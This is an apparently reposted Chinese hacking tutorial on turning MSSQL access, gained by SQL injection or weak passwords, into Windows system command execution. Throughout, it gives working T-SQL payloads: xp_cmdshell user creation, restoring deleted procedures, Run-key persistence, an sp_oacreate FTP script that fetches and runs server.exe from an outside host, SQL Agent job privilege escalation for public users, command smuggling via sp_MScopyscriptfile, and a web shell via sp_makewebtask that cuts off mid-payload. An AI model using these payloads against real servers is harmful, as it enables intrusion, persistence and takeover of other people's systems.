Home Database Mysql Tutorial 怎样在MSSQL执行命令

怎样在MSSQL执行命令

Jun 07, 2016 pm 04:21 PM
mssql Order how implement

假设一台主机开了1433端口我们已通过SQL注入或是空弱密码远程连接 能有哪些办法加一个系统管理员用户呢(或是执行系统命令) 1).XP_CMDSHELL 'cmd.exe /c net user aaa bbb /add' 人人都知道的办法,最大的好处是有回显,但是最怕 if exists (select * from dbo.

  假设一台主机开了1433端口我们已通过SQL注入或是空弱密码远程连接

  能有哪些办法加一个系统管理员用户呢(或是执行系统命令)

  1).XP_CMDSHELL 'cmd.exe /c net user aaa bbb /add'

  人人都知道的办法,最大的好处是有回显,但是最怕

  if exists (select * from dbo.sysobjects where id = object_id(N'[dbo].[xp_cmdshell]') and OBJECTPROPERTY(id, N'IsExtendedProc') = 1)

  exec sp_dropextendedproc N'[dbo].[xp_cmdshell]'

  通过上面的T-SQL语句就可以把这个扩展储存删了

  我们一般可以用

  2k:

  EXEC sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'

  SQL97:

  EXEC sp_addextendedproc xp_cmdshell ,@dllname ='xpsql70.dll'

  就还原了.

  但是有的人知道sp_addextendedproc也只不过是一个储存过程一样可以删除的

  Drop PROCEDURE sp_addextendedproc

  if exists (select * from

  dbo.sysobjects where id = object_id(N'[dbo].[xp_cmdshell]') and

  OBJECTPROPERTY(id, N'IsExtendedProc') = 1)

  exec sp_dropextendedproc N'[dbo].[xp_cmdshell]'

  还原:

  create procedure sp_addextendedproc --- 1996/08/30 20:13

  @functname nvarchar(517),/* (owner.)name of function to call */

  @dllname varchar(255)/* name of DLL containing function */

  as

  set implicit_transactions off

  if @@trancount > 0

  begin

  raiserror(15002,-1,-1,'sp_addextendedproc')

  return (1)

  end

  /*

  ** Create the extended procedure mapping.

  */

  dbcc addextendedproc( @functname, @dllname)

  return (0) -- sp_addextendedproc

  呀呀写了这么多其实有个最简单的保护办法:

  先NET stop mssqlserver,然后把xplog70.dll(SQL97下用xpsql70.dll)删了

  再把服务打开就可以了

  2)看了上面的你就明白了xp_cmdshell最终是可以被删除的没别的办法了吗?

  有写注册表三:

  xp_regwrite 'HKEY_LOCAL_MacHINE','SOFTWAREMicrosoftWindowscurrentversionrun', 'czy82','REG_SZ', net user czy bb /add

  其实注册表还有好几个地方可以写的比如说注册表中的WEB浏览设置

  用写注册表的办法不好的地方是不但没有回显而且不能马上运行实不实用我也不知道了

  3)

  declare @s int

  exec sp_oacreate "wscript.shell",@s out

  --exec sp_oamethod @s,"run",NULL,"cmd.exe /c echo open ASP.7i24.com>c:a.txt"

  --exec sp_oamethod @s,"run",NULL,"cmd.exe /c echo 123321>>c:a.txt"

  --exec sp_oamethod @s,"run",NULL,"cmd.exe /c echo 123321>>c:a.txt"

  --exec sp_oamethod @s,"run",NULL,"cmd.exe /c echo get server.exe>>c:a.txt"

  --exec sp_oamethod @s,"run",NULL,"cmd.exe /c echo close>>c:a.txt"

  --exec sp_oamethod @s,"run",NULL,"cmd.exe /c ftp -s:c:a.txt"

  exec sp_oamethod @s,"run",NULL,"cmd.exe /c server"

  对了正如你看到的我们还可以使用sp_oacreate和sp_oamethod在它们的作用下我们可以

  调用系统的控件比如说fso,wsh,shell什么的,但是有个问题是并不能象xp_cmdshell那样

  马上看到结果真的不能吗看下面的:

  declare @s int,@o int ,@f int,@str nvarchar(4000)

  /*exec sp_oacreate "wscript.shell",@s out

  exec sp_oamethod @s,"run",NULL,"cmd.exe /c net user>c:temp.txt"*/

  exec sp_oacreate "scripting.filesystemobject", @o out

  exec sp_oamethod @o, "opentextfile", @f out,"c:temp.txt", 1

  exec sp_oamethod @f, "readall",@str out

  print @str

  先执行注解内的然后执行外面的其实原理很简单就是利用>把结果写到一个文件中然后用

  fso来读出来!很实用的

  4)

  use msdb; --这儿不要是master哟

  exec sp_add_job @job_name='czy82';

  exec sp_add_jobstep @job_name='czy82',@step_name = 'Exec my sql',@subsystem='CMDEXEC',@command='dir c:>c:b.txt';

  exec sp_add_jobserver @job_name = 'czy82',@server_name = 'smscomputer';

  exec sp_start_job @job_name='czy82';

  利用MSSQL的作业处理也是可以执行命令的而且如果上面的subsystem的参数是tsql后面的我们就可以

  执行tsql语句了.

  对于这几个储存过程的使用第一在@server_name我们要指定你的sql的服务器名

  第二系统的sqlserveragent服务必须打开(默认没打开的气人了吧)

  net start SQLSERVERAGENT

  对于这个东东还有一个地方不同就是public也可以执行..同这儿也是有系统洞洞的看下面的

  USE msdb

  EXEC sp_add_job @job_name = 'GetSystemOnSQL',

  @enabled = 1,

  @description = 'This will give a low privileged user Access to

  xp_cmdshell',

  @delete_level = 1

  EXEC sp_add_jobstep @job_name = 'GetSystemOnSQL',

  @step_name = 'Exec my sql',

  @subsystem = 'TSQL',

  @command = 'exec master..xp_execresultset N''select ''''exec

  master..xp_cmdshell "dir > c:agent-job-results.txt"'''''',N''Master'''

  EXEC sp_add_jobserver @job_name = 'GetSystemOnSQL',

  @server_name = '你的SQL的服务器名'

  EXEC sp_start_job @job_name = 'GetSystemOnSQL'

  不要怀疑上面的代码我是测试成功了的!这儿我们要注意xp_execresultset就是因为它所以

  才让我们可以以public执行xp_cmdshell

  5)关于Microsoft SQL Agent Jobs任意文件可删除覆盖漏洞(public用户也可以)

  在安焦有文章:?vul_id=2968

  USE msdb

  EXEC sp_add_job @job_name = 'ArbitraryFileCreate',

  @enabled = 1,

  @description = 'This will create a file called c:sqlafc123.txt',

  @delete_level = 1

  EXEC sp_add_jobstep @job_name = 'ArbitraryFileCreate',

  @step_name = 'SQLA

  FC',

  @subsystem = 'TSQL',

  @command = 'select ''hello, this file was created by the SQL Agent.''',

  @output_file_name = 'c:sqlafc123.txt'

  EXEC sp_add_jobserver @job_name = 'ArbitraryFileCreate',

  @server_name = 'SERVER_NAME'

  EXEC sp_start_job @job_name = 'ArbitraryFileCreate'

  如果subsystem选的是:tsql在生成的文件的头部有如下内容

  ??揂rbitraryFileCreate? ? 1 ?,揝QLAFC? ???? 2003-02-07 18:24:19

  ----------------------------------------------

  hello, this file was created by the SQL Agent.

  (1 ?????)

  所以我建议要生成文件最好subsystem选cmdexec,如果利用得好我们可以写一个有添加管理员

  命令的VBs文件到启动目录!

  6)关于sp_makewebtask(可以写任意内容任意文件名的文件)

  关于sp_MScopyscriptfile 看下面的例子

  declare @command varchar(100)

  declare @scripfile varchar(200)

  set concat_null_yields_null off

  select @command='dir c: > "attackeripsharedir.txt"'

  select @scripfile='c:autoexec.bat > nul" | ' + @command + ' | rd "'

  exec sp_MScopyscriptfile @scripfile ,''

  这两个东东都还在测试试哟

  让MSSQL的public用户得到一个本机的web shell:)

  sp_makewebtask @outputfile='d:smsa.asp',@charset=gb2312,

  --@query='select '''''

  --@query='select '''' '

  @query='select ''

  " method="POST">

Statement of this Website
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn

Hot Article Tags

Notepad++7.3.1

Notepad++7.3.1

Easy-to-use and free code editor

SublimeText3 Chinese version

SublimeText3 Chinese version

Chinese version, very easy to use

Zend Studio 13.0.1

Zend Studio 13.0.1

Powerful PHP integrated development environment

Dreamweaver CS6

Dreamweaver CS6

Visual web development tools

SublimeText3 Mac version

SublimeText3 Mac version

God-level code editing software (SublimeText3)

How to run SUDO commands in Windows 11/10 How to run SUDO commands in Windows 11/10 Mar 09, 2024 am 09:50 AM

How to run SUDO commands in Windows 11/10

How to check the MAC address of the network card in Win11? How to use the command to obtain the MAC address of the network card in Win11 How to check the MAC address of the network card in Win11? How to use the command to obtain the MAC address of the network card in Win11 Feb 29, 2024 pm 04:34 PM

How to check the MAC address of the network card in Win11? How to use the command to obtain the MAC address of the network card in Win11

Where is hyperv enhanced session mode? Tips for enabling or disabling Hyper-V enhanced session mode using commands in Win11 Where is hyperv enhanced session mode? Tips for enabling or disabling Hyper-V enhanced session mode using commands in Win11 Feb 29, 2024 pm 05:52 PM

Where is hyperv enhanced session mode? Tips for enabling or disabling Hyper-V enhanced session mode using commands in Win11

Detailed guide to install PHP and configure MSSQL connection on Ubuntu Detailed guide to install PHP and configure MSSQL connection on Ubuntu Feb 29, 2024 am 11:15 AM

Detailed guide to install PHP and configure MSSQL connection on Ubuntu

Super practical! Sar commands that will make you a Linux master Super practical! Sar commands that will make you a Linux master Mar 01, 2024 am 08:01 AM

Super practical! Sar commands that will make you a Linux master

What is the correct way to restart a service in Linux? What is the correct way to restart a service in Linux? Mar 15, 2024 am 09:09 AM

What is the correct way to restart a service in Linux?

How to use LSOF to monitor ports in real time How to use LSOF to monitor ports in real time Mar 20, 2024 pm 02:07 PM

How to use LSOF to monitor ports in real time

Artifact in Linux: Principles and Applications of eventfd Artifact in Linux: Principles and Applications of eventfd Feb 13, 2024 pm 08:30 PM

Artifact in Linux: Principles and Applications of eventfd

See all articles